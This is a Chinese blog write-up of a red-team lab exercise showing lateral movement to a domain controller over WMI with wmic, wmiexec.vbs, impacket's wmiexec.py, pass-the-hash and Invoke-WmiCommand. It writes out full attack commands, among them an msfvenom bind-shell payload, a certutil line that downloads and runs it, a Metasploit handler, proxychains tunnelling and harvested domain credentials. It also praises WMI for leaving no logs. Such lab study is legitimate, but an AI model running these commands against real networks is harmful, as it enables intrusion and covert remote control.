首页 > 其他分享 >域渗透之利用WMI来横向渗透

域渗透之利用WMI来横向渗透

时间:2024-06-23 18:09:36浏览次数:30  
标签:exe wmiexec 渗透 横向 192.168 WMI shell psexec 执行

目录

前言

上一篇打红日靶场拿域控是用ms17-010漏洞执行命令的方式,最后提到了wmi利用的方式。接下来我将继续采用之前的红日靶场环境,只保留web服务器和域控,使用wmiexec尝试拿下域控制器。

wmi介绍

WMI(Windows Management Instrumentation)Windows管理规范,它提供了一种标准化的方式,管理本地或远程计算机系统。

利用WMI横向渗透的优势:WMI的价值就是不需要下载和安装,因为WMI是Windows系统自带的功能,而且整个运行过程都在计算机内存中进行,操作记录不会在Winodws日志中留存。

WMIC命令:WMIC(Windows Management Instrumentation Command-line)是Windows自带的一款用来管理操作WMI的工具。WMI服务默认使用RPC机制来进行通信,需要目标主机开放135端口(WMIC默认的管理端口)和445端口。WMIC命令需要本地管理员或域管理员才可以进行正常使用。

通过wmic远程连接去执行命令,命令执行结果将不会回显,而使用wmiexec可以得到一个有交互的命令执行。

wmiexec和psexec的区别

说到wmiexec就不得不提psexec,PsExec它是一种轻量级的telnet替代品,可以在其他系统上执行进程,完成控制台应用程序的完全交互,而无需手动安装客户端软件。

psexec的基本原理是:先建立IPC$通道连接,远程创建psexecsvc服务,然后通过psexec服务运行命令,服务端启动相应的程序并执行回显数据,运行结束后删除服务。

有psexec为啥出现了wmiexec?

psexec缺点就是在启动psexec建立连接后,远程系统上会被安装一个psexecsvc服务,安装服务会留下日志。而wmi可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。有大佬使用脚本调用wmi来模拟psexec的功能,于是wmiexec就诞生了。

wmic命令执行

首先是最基本的wmic执行命令的方式实现远程控制,实现方式是向靶机上传一个木马,然后连接获得shell。

目前靶场环境:

kali的msf可以通过Win7跳板机访问到域控,但是域控不出网没路由无法反弹shell到msf
msf+proxychains搭建socks5隧道可将流量代理到内网
mimikatz抓取到了域控用户和明文密码:god\liukaifeng01/hongriSEC@2019

所以需要获取一个正向的msf连接,生成一个正向tcp连接的payload文件:

msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f exe -o b.exe

image

将msf木马上传win7的网站目录:

image

通过Win7的cmd使用wmic远程连接域控主机,执行下载并执行msf木马命令:

wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongriSEC@2019 process call create "cmd.exe /c certutil.exe -urlcache -f -split http://192.168.52.143/b.exe&&b.exe"

image

命令执行成功之后,域控192.168.52.138会开启5555端口监听,然后在msf上个运行blin_tcp模块来获取shell:

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 5555
run

image

拿到域控meterpreter shell后尝试getsystem提权:

image

wmiexec.vbs

wmiexec.vbs脚本通过vbs调用wmi来模拟psexec的功能,支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

脚本地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

上传vmiexec.vbs到Win7机器上,然后使用cscript.exe执行脚本拿到半交互式的shell:

cscript.exe //nologo wmiexec.vbs /shell 192.168.52.138 liukaifeng01 hongriSEC@2019

image

还有直接执行单条命令,上传C2木马,和前面wmic命令执行套路相同:

cscript.exe wmiexec.vbs /cmd 192.168.52.138 liukaifeng01 hongriSEC@2019 "certutil.exe -urlcache -f -split http://192.168.52.143/b.exe&&b.exe"

image

执行了好几次都没成功拿到shell,其实本质也就是执行wmic命令。

wmiexec.py

impacket工具包的wmiexec.py脚本通过wmi实现了半交互式的shell。它是通过135端口建立DCOM连接获取win32_Process对象,通过win32_Process的create方法创建程序执行命令,然后通过445端口建立smb连接访问admin$共享下的结果文件,完成结果回显。

脚本地址:https://github.com/fortra/impacket/blob/master/examples/wmiexec.py

上传vmiexec.py到Win7主机上,使用用户密码连接拿shell:

python wmiexec.py liukaifeng01:hongriSEC@[email protected]

image

Win7主机上没有python包,尝试在kali上执行通过socks隧道代理进内网,代理nmap扫描域控135和445端口开放:

image

proxychains4代理进内网获取shell:

proxychains4 python wmiexec.py liukaifeng01:hongriSEC@[email protected]

image

或者是PTH攻击:

python wmiexec.py -hashes LM-Hash:NTLM-Hash [email protected] "whoami"

Invoke-WmiCommand.ps1

PowerSploit工具包Invoke-WmiCommand.ps1脚本是利用Powershell来调用wmi来远程执行命令,并且可以回显执行结果。

脚本地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-WmiCommand.ps1

还是先将脚本上传至Win7跳板机,从cmd切换到powershell然后导入Invoke-WmiCommand.ps1脚本:

Import-Module .\Invoke-WmiCommand.ps1

如果遇到无法导入模块以管理员身份打开PowerShell执行:set-executionpolicy remotesigned

指定目标系统用户名和密码:

$User="god\liukaifeng01"
$Password=ConvertTo-SecureString -String "hongriSEC@2019" -AsPlainText -Force

导入Credential:

$Cred=New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password

指定要执行的命令和目标ip:

$Remote=Invoke-WmiCommand -Payload {whoami} -Credential $Cred -ComputerName 192.168.152.138

将执行结果输出到屏幕上:

$Remote.PayloadOutput

遗憾的是脚本报错:

image

在本地一台Win10虚拟机上这个ps是正常执行,但在靶场测Win7脚本报错是注册表的问题,目前没解决。还有一个是PowerShell自带的一个模块Invoke-WMIMethod,但是不能回显。

$User="god\liukaifeng01"
$Password=ConvertTo-SecureString -String "hongriSEC@2019" -AsPlainText -Force
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.152.138" -Credential $Cred

image

这次又报错RPC服务不可用。。。之后再试试。

以上就是我从网上了解的几种wmi在横向渗透中的用法,利用红日靶场复现了一下,遇到了一些困难,但还又所收获。


若有错误,欢迎指正!o( ̄▽ ̄)ブ

标签:exe,wmiexec,渗透,横向,192.168,WMI,shell,psexec,执行
From: https://www.cnblogs.com/smileleooo/p/18262133

相关文章

  • 域渗透之ATT&CK实战系列——红队实战(一)
    目录前言环境搭建外围打点信息收集phpmyadmin全局日志getshell内网信息收集msf上线mimikatz抓取明文密码&hash域信息收集横向移动msf+proxychains搭建socks5隧道MS08-067漏洞利用MS17-010漏洞利用获取域控服务器总结前言这个靶场是红日安全团队推出的红队实战系列第一个靶场,其中......
  • 红队内网攻防渗透:内网渗透之内网对抗:横向移动篇&入口差异&切换上线&IPC管道&AT&SC任务
    红队内网攻防渗透1.内网横向移动1.1横向移动入口知识点1.1.1、当前被控机处于域内还是域外1.1.1.1在域内1.1.1.2不在域内1.1.1.2.1第一种方法提权到system权限1.1.1.2.2第二种方法切换用户上线1.1.1.2.3kerbrute枚举用户1.1.2、当前凭据为明......
  • 红队内网攻防渗透:内网渗透之内网对抗:隧道技术篇&防火墙组策略&FRP&NPS&Chisel&Socks代
    红队内网攻防渗透1.内网隧道技术1.1Frp内网穿透C2上线1.1.1双网内网穿透C2上线1.1.1.1服务端配置1.1.1.2客户端配置1.1.2内网穿透信息收集1.1.2.1、建立Socks节点(入站没限制采用)1.1.2.2主动转发数据(出站没限制采用)1.2Nps内网穿透工具1......
  • 红队内网攻防渗透:内网渗透之内网对抗:横向移动篇&入口切换&SMB共享&WMI管道&DCOM组件&I
    红队内网攻防渗透1.内网横向移动1.1WMI进行横向移动1.1.1利用条件:1.1.1利用详情1.1.1.1wmic1.1.1.1.1正向shell上线1.1.1.1.2反向shell上线1.1.1.2cscript(不建议使用)1.1.1.3wmiexec-impacket1.1.1.4cs插件1.2SMB横向移动1.2.1利......
  • 渗透测试-若依框架的杀猪交易所系统管理后台
    前言这次是带着摸鱼的情况下简单的写一篇文章,由于我喜欢探究黑灰产业,所以偶尔机遇下找到了一个加密H币的交易所S猪盘,我记得印象是上年的时候就打过这一个同样的站,然后我是通过指纹查找其它的一些站,那个站已经关了,而且还在当前IP主机上部署了Viper,厚礼谢,这是演什么剧本。......
  • 一次breach1靶机的渗透测试
    1.端口扫描和信息收集2.CMS后台信息收集3.解密HTTPS流量4.tomcat的后台利用5.提权1.端口扫描和信息收集:首先进行主机发现,找到目标机器:nmap-sP192.168.110.1/24 找到目标机器,进行端口扫描:nmap-T4-A-v192.168.110.140一共扫到996个开放的端口,正好里面有......
  • 横向LQR、纵向PID控制进行轨迹跟踪以及python实现
    横向LQR、纵向PID控制进行轨迹跟踪以及python实现附赠自动驾驶最全的学习资料和量产经验:链接一、LQR问题模型建立:理论部分比较成熟,这里只介绍demo所使用的建模方程:使用离散代数黎卡提方程求解系统状态矩阵:输入矩阵:A矩阵:B矩阵:二、代码实现#导入相关包imp......
  • 2024最新最全【网络安全/渗透测试】面试题汇总
    思路流程信息收集漏洞挖掘漏洞利用&权限提升清除测试数据&输出报告复测问题深信服一面:SQL注入防护为什么参数化查询可以防止sql注入SQL头注入点盲注是什么?怎么盲注?宽字节注入产生原理以及根本原因产生原理在哪里编码根本原因解决办法sql里面只有update怎么利用sql如何......
  • Mysql渗透及提权,命令执行
    查询用户selectuser()查询数据库版本selectversion()查询当前操作系统select@@version_compile_os查询读取数据库路径select@@datadir查询MYSQL安装路径select@@basedir查询plugin的路径select@@plugin_dirMysql-UDF提权https://blog.csdn.net/qq_48201589/......
  • Web渗透:XSS-DOM-based XSS
    DOM-basedXSS(基于DOM的跨站脚本攻击)是一种XSS攻击类型,其特点是恶意脚本通过操作文档对象模型(DOM)直接在客户端执行,而无需经过服务器的处理。这种攻击主要利用客户端JavaScript代码中的漏洞,使得攻击者能够在浏览器中注入并执行恶意代码。DOM的基本概念文档对象模型(DOM,Document......